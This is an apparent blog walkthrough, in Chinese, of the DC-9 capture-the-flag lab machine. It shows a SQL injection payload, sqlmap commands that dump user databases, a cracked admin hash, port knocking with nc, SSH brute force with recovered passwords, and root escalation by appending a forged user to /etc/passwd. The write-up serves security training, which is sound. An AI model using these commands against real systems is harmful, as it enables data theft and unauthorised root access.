DC-9 靶机

DC_9

信息搜集

存活检测

image-20231024215650779

详细扫描

image-20231024215713222

后台网页扫描

image-20231024215731984

漏洞利用

漏洞发现

  • 在 search 页面的输入框尝试 sql 注入

    1' or 1=1#
    

    image-20231024220118367

    返回大量数据

  • sqlmap 爆破数据库

    sqlmap -u http://10.4.7.154/search.php --dbs --batch  
    

    爆破失败,显示未找到参数

    image-20231024220848077

  • 抓包查看

    image-20231024221030943

  • 爆破数据库

    # 查数据库:
    sqlmap -u http://10.4.7.154/results.php --data 'search=1' --dbs --batch  
    

    image-20231025090035192

Staff 数据库

  • 爆破表

    #查表:
    sqlmap -u http://10.4.7.154/results.php --data 'search=1' -D Staff -tables --batch
    

    image-20231025090209829

  • 爆破表中数据

    sqlmap -u http://10.4.7.154/results.php --data 'search=1' -D Staff -T Users --dump
    

    爆破出一条 admin 数据

    image-20231025090516581

  • 密码为 transorbital1

    856f5de590ef37314e7c3bdf6f8a66dc (transorbital1)
    

users 数据库

  • 爆表

    sqlmap -u http://10.4.7.154/results.php --data 'search=1' -D users -tables --batch
    

    image-20231025092039018

  • 爆数据

    sqlmap -u http://10.4.7.154/results.php --data 'search=1' -D users -T UserDetails --dump
    

    image-20231025092142004

  • 筛选用户名

    sqlmap -u http://10.4.7.154/results.php --data 'search=1' -D users -T UserDetails -C username --dump
    
  • 筛选密码

    sqlmap -u http://10.4.7.154/results.php --data 'search=1' -D users -T UserDetails -C password --dump
    
  • 将用户名密码分别保存到 user.txt 和 password.txt 文件中

  • ssh 爆破,显示被拒绝

    image-20231025103350952

  • 查阅资料

    SSH 的 knockd 是一种基于端口“敲门”(port knocking)的安全措施,它可以在不暴露 SSH 服务端口的情况下,允许合法用户通过特定的端口序列访问 SSH 服务。

    具体来说,knockd 通过监听特定的端口序列,当用户按照正确的顺序敲击这些端口时,会自动解除对 SSH 服务端口的阻止,从而允许用户访问 SSH 服务。这种方法可以有效地隐藏 SSH 服务,避免暴露在公网中,从而提高系统的安全性。

网页信息搜集

  • 登录网页

    admin
    transorbital1
    

    image-20231025090918260

  • 发现最下方出现“文件不存在”字样

    image-20231025125832824

  • 尝试文件读取

    image-20231025130603947

  • 读取 knockd.conf 文件

    image-20231025130802409

  • 敲击这三个端口打开 ssh

    nc 10.4.7.154 7469
    nc 10.4.7.154 8475
    nc 10.4.7.154 9842
    

    image-20231025131302748

  • 敲击后可成爆破

    image-20231025131349103

    login: chandlerb   password: UrAG0D!
    login: joeyt   password: Passw0rd
    login: janitor   password: Ilovepeepee
    

提权

  • 挨个用户登录,搜索提权相关信息

    最终在 janitor 登录后发现了一些密码

    image-20231025131835989

  • 使用这些密码再次爆破 user.txt

    image-20231025132304640

    有爆破出 fredf 用户

  • 登录 fredf 用户

    sudo -l 查看 root 权限

    image-20231025132527829

  • 查看 test

    vi /opt/devstuff/dist/test/test
    

    image-20231025132810910

  • 看不懂,运行一下

    给了提示

    image-20231025132920714

  • 查找 test.py

    find / -name test.py 2>/dev/null
    

    image-20231025133536592

  • 查看 test.py

    image-20231025133607691

    python 脚本实现了接受两个命令行参数,并将一个文件的内容读取并追加到另一个文件中

  • 尝试向 /etc/passwd 中添加 root 用户

    • 将用户信息写入 shell 文件

      image-20231025134530772

    • 使用有 root 权限的 /opt/devstuff/dist/test/test 写入

      sudo /opt/devstuff/dist/test/test shell /etc/passwd
      

      成功写入

      image-20231025134654040

  • 不支持无密码登录

    image-20231025134727219

  • 生成加密密码

    openssl passwd -1 -salt admin 123456
    

    openssl: 是一个开放源代码的加密工具包,提供了各种密码学功能和安全协议的实现。
    passwd: 是 OpenSSL 工具包中的一个命令,用于生成密码哈希值。
    -1: 表示使用 Unix 加密哈希算法(crypt)进行密码哈希。
    -salt admin: 指定盐值为 “admin”,盐值是一个随机字符串,用于增加密码哈希的安全性。
    123456: 是要加密的密码明文。

  • 重新编辑,添加到 /etc/passwd

    image-20231025140237059

  • 切换用户,提权成功

    image-20231025140322616

总结

  • sqlmap 爆破数据库若传参使用 POST 方法需要在 sqlmap 参数中添加 --data 'search=1'
  • ssh knockd 敲击
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

gjl_

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值